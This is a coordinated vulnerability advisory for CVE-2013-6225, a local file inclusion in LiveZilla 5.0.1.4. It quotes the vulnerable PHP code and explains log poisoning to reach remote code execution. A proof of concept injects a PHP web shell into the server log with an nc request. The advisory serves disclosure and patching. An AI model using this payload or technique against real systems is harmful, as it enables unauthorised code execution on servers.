CVE-2013-6225: Security Advisory – Curesec Research Team

1. Introduction

Advisory ID:     Cure-2013-1007
Advisory URL:     https://www.curesec.com/de/veroeffentlichungen
/advisories.html
Blog URL:    https://cureblog.de/2013/11/remote-code-execution-in-livezilla/
Affected Product:   LiveZilla version 5.0.1.4
Affected Systems   Linux/Windows
Fixed in:     5.1.0.0
Fixed Version Link:
https://www.livezilla.net/downloads/pubfiles/LiveZilla_5.1.0.0_Full.exe
Vendor Contact:   support@livezilla.net
Vulnerability Type:   Remote Code Execution / Local File Inclusion
Remote Exploitable:   Yes
Reported to vendor   18.10.2013
Disclosed to public   15.11.2013
Release mode:     Coordinated release
CVE:       CVE-2013-6225
Credentials:     crt@curesec.com

2. Vulnerability Description

Livezilla is a online chat system used on websites so customers can be
contacted by an employee ask their questions and get delivered what they
are looking for. The software itself is used basically in every industry.

Looking for possible affected systems google reveals: 1.500.000 results.

Inside the file ‘mobile/php/translation/index.php’ the following code
can be found:

$langFileLocation = ‘.’;
$LZLANG = Array();if (isset($_GET['g_language'])) {
$language = ($_GET['g_language'] != ”) ? $_GET['g_language'] : ‘ein’;
require ($langFileLocation . ‘/langmobileorig.php’);
$LZLANGEN = $LZLANG;
if (file_exists($langFileLocation . ‘/langmobile’ . $language . ‘.php’)) {
require ($langFileLocation . ‘/langmobile’ . $language . ‘.php’);
}

The ‘g_language’ GET parameter is not validated before using it in a php
require function call. This allows to include files that are stored on a
windows server. It is, in this case, not possible to include files, if
the php application is running on a linux server because ‘/langmobile’+
the language is not a directory and therefore cannot be traversed. In
recent PHP versions null bytes are blocked. This means that in this case
only files with the PHP extension can be included. Older PHP versions
will allow null bytes in the URL and therefore allow Remote Code
Execution attacks involving httpd log files or /proc/pid/environ and
other techniques to transform this Local File Inclusion into a full
Remote Code Execution on Windows and Linux.

On Windows systems with PHP versions installed that allow null bytes in
the URL it is possible to turn this local file inclusion vulnerability
to a full remote code execution vulnerability. This can be done by
traversing directories and accessing the apache log file with having the
injected the string that follows using a GET request into the log file.
As the screendump shows full code execution in this case executing
calc.exe on windows is possible.

A working exploit for this vulnerability is found in the Appendix of
this documents. The error.log or access.log path has to be known prior
to running the exploit.

3. Proof of Concept Codes:

Code execution URL sample:
$nc <target> 80
GET /index.php?test=<?php system($_GET[cmd]); ?> HTTP/1.1
Host: <target>
<return>
<return>

4. Solution

Download and install latest version:
https://www.livezilla.net/downloads/pubfiles/LiveZilla_5.1.0.0_Full.exe

5. Report Timeline

18.10.2013 Informed Vendor about Issue
12.11.2013 Vendor informed about the fixed new version
15.11.2013 Disclosed to public
